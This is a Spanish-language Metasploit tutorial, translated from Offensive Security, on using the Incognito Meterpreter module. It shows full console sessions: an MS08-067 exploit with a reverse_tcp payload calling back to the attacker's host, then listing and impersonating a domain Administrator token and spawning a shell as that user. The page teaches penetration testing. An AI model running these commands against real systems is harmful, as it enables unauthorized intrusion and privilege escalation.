Jugando con Incognito
De www.metasploit-es.com.ar
Jugando con Incognito
Incognito es originalmente una aplicación estandard que nos permitirá clonar tokens de usuarios cuando se comprometa un sistema con éxito. Esta aplicación fue integrada en Metasploit, y luego finalmente en Meterpreter.
Puedes leer mas acerca de Incognito y su modo de robar e imitar tokens a través del documento original de Like Jenning en el siguiente enlace:
En una shell, los tokens son igual que cookies web. Se trata de una clave/key temporal que le permite acceder al sistema y la red sin tener que proporcionar credenciales cada vez que se acceda a un archivo. Incognito explota de la misma manera el robo de tokens que el de cookies. Bueno, vale, Hay dos tipos tokens, delegate, y impersonate.
Delegate: son creado para los inicios de sesion “interactive / interactiva”, por ejemplo iniciando sesión en la maquina, o conectándose a ella a través de escritorio remoto / remote desktop. Impersonate: son para las sesiones “non-interactive / no-interactivas”, por ejemplo la colocación de una unidad de red, o un script de inicio de sesión de dominio.
¿hay algo mas en las tokens? Ellas Persisten hasta que se reinicie. Cuando un usuario cierra la sesión, su token delegate es reportada como una token imitada / clonada, pero aún y todavía mantendrá la totalidad de los derechos de una ficha delegate.
*TIP*servidores de archivos virtual, una preciosidad, tesoro de tokens, ya que la mayoría de servidores de archivos se utilizan como unidades de red conectando a través de scripts de inicio de sesión en dominios.
Así que, una vez tienes una consola Meterpreter, puedes clonar tokens validas en el sistema y convertirte en ese usuario especifico sin tener que preocupare por sus credenciales, o, en esta ocasión, incluso los hashes. Durante una prueba de penetración esto es especialmente útil, debido al hecho de que las cuentas tienen la posibilidad de permitir una escalación de privilegio local o en un dominio, lo que le da vías alternas con privilegios elevados a múltiples sistemas.
Bueno, primero vamos a cargar nuestro exploit favorito, ms08_067_netapi, con un Payload Meterpreter. Tenga en cuenta que debe configurar manualmente la tarjeta, ya que este exploit en particular no detecta la tarjeta automáticamente. Si lo configuras a una tarjeta conocida garantizara el derecho de las direcciones que se utilizan para la explotación.
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140 RHOST => 10.211.55.140 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162 LHOST => 10.211.55.162 msf exploit(ms08_067_netapi) > set LANG english LANG => english msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal 6 Windows 2003 SP1 English (NO NX) 7 Windows 2003 SP1 English (NX) 8 Windows 2003 SP2 English (NO NX) 9 Windows 2003 SP2 English (NX) 10 Windows XP SP2 Arabic (NX) 11 Windows XP SP2 Chinese - Traditional / Taiwan (NX) msf exploit(ms08_067_netapi) > set TARGET 8 target => 8 msf exploit(ms08_067_netapi) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028) meterpreter >
Ahora tenemos una consola Meterpreter desde la cual vamos a lanzar Incognito y atacar las tokens. Como priv (hashdump y timestomp) y stdapi (upload, download, etc), Incognito es un modulo Meterpreter. Vale, bien, ahora cargamos el modulo en la sesion de Meterpreter ejecutando el comando “use incognito”. El comando “help” nos muestra la variedad de opciones que tenemos para incognito y descipciones sobre cada opcion.
meterpreter > use incognito Loading extension incognito...success. meterpreter > help Incognito Commands ================== Command Description ------- ----------- add_group_user Attempt to add a user to a global group with all tokens add_localgroup_user Attempt to add a user to a local group with all tokens add_user Attempt to add a user with all tokens impersonate_token Impersonate specified token list_tokens List tokens available under current user context snarf_hashes Snarf challenge/response hashes for every token meterpreter >
Lo que tenemos que hacer primero es identificar si hay tokens validas en este sistema. Dependiendo del nivel de acceso que le proporciona su exploit estaran limitadas a las tokens que son capaces de ver. Cuando se trata de un robo de tokens, el SISTEMA es el REY. En el sistema tienes permiso para ver y utilizar cualquier token en la box.
*TIP*: Los administradores no tienen acceso a todas las tokens, pero tienen la capacidad de migrar para los procesos del sistema, representando así al SISTEMA y siendo capaz de ver todas las tokens disponibles.
meterpreter > list_tokens -u Delegation Tokens Available ======================================== NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM SNEAKS.IN\Administrator Impersonation Tokens Available ======================================== NT AUTHORITY\ANONYMOUS LOGON meterpreter >
Vemos aquí que hay una token de Administrador valida que parece ser de interés. Ahora tenemos que hacernos pasar por esta token a fin de conseguir sus privilegios. Al mandar el comando “impersonate_token”, tienes que tener en cuenta las dos barras invertidas en “SNEAKS.IN\\Administrator”. Esto es necesario debido a que causa errores con una sola barra. Tenga en cuenta también que, después de hacerse pasar con éxito por una token, deberass comprobar el USERID actual, podemos hacerlo mediante la ejecución del comando “ getuid”.
meterpreter > impersonate_token SNEAKS.IN\\Administrator [+] Delegation token available [+] Successfully impersonated user SNEAKS.IN\Administrator meterpreter > getuid Server username: SNEAKS.IN\Administrator meterpreter >
Enseguida le permitirá ejecutar una shell con esta cuenta individual, en concreto ejecutando el comando “execute -f cmd.exe -i -t” desde dentro del Meterpreter. El comando “execute -f cmd.exe” dice a Metasploit que ejecute cmd.exe, “-i” nos permite interactuar con el pc de las víctimas, y el “-t” asume el papel que acaba de suplantar a través de incognito.
meterpreter > execute -f cmd.exe -i -t Process 3540 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami SNEAKS.IN\administrator C:\WINDOWS\system32>
El resultado: Perfecto amigos.
© Offensive Security 2009
Original by www.offensive-security.com Traslated by FreeInfo